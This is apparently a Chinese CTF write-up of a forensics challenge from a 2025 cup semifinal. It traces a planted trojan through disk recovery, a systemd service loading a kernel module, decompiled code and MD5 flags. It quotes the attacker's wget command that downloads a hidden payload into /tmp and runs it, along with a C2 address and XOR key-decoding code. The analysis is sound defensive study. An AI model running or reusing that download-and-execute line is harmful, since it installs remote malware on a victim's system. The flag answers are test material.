2025 长城杯 国赛 半决赛
ISW
应急响应
赛场上做应急响应的时候完全是摸不到一点思路,恨不得是见一个ip就交上去试一下..
赛后复现时刻
1
找ip
RStudio加载镜像raw文件
对镜像文件进行扫描
我们能看到 root 目录下没有文件,以及存在非 root 用户 ubuntu
补充一下:如果root目录下没有文件 有限在home目录下找其他用户
注意到有很多被删掉的文件,有个1.txt 很可疑 查看1.txt
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
这串命令意味着, 曾从http://mirror.unknownrepo.net/f/l/a/g/system_upgrade
下载文件,并储存为 /tmp/.system_upgrade
在去看一下 .vimhostory
看到了 system_upgrade.service
服务
vimhistory
命令:也就是查看保存在 viminfo 里的历史命令
去查看对应服务文件,得到一下信息,说实话 这些都是干啥的我是真不知道
搜了一下 发现是有关于内核取证的
总的来说,这个服务单元配置文件的作用是在系统进入多用户模式之后,加载 system-upgrade.ko 内核模块,其可能与系统升级的某些功能有关
接着导出对应文件
补充一个xshell导出文件的命令,当然这里用不上
sz 文件名称
文件导出 结果只需要R-Studio恢复文件即可
die查看一下是64位
Tab
键反编译
看到被混淆的函数名,选中 x
键:查看谁调用了当前选中的函数、变量
先查看第一个位置
能看到又一个被混淆的函数名,追踪这个
能看到有一个hide_ip
对应着 192.168.57.203
,再看端口,4948和1337,一般情况下是都试一下,但是在我看log文件时有注意到4948端口
故:192.168.57.203:4948,在MD5一下
2
找到木马文件
data存放着数据信息
因此判断 木马文件为 systemd-agentd
R-Studio恢复一下
在将文件MD5一下 工具
flag{BCCAD26B665CA175CD02ACA2903D8B1E}
3
找到 持久化文件也就是下载者,功能是下载并执行远控木马
此时我们能想到刚在看到的文件, /system-upgrade.ko
文件是下载着者
flag{78EDBA7CBD107EB6E3D2F90F5ECA734E}
4
找到它的植入痕迹
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
.system_upgrade
MD5
flag{9729aaace6c83b11b17b6bc3b340d00b}
5
分析题目 2 中找到的远控木马,获取木马通信加密密钥
去分析一下 systemd-agentd
文件
合理怀疑木马通信加密密钥就是 unk_4BEFFD
,追踪
异或
_BYTE *sub_405EC9()
{_BYTE *result; // rax_BYTE *v1; // rsi__int64 i; // rdxresult = (_BYTE *)sub_42C200(24LL);v1 = off_6EB168;for (i = 0LL; i != 23; ++i)result[i] = v1[i] ^ 0x69;off_6EB168 = result;return result;
}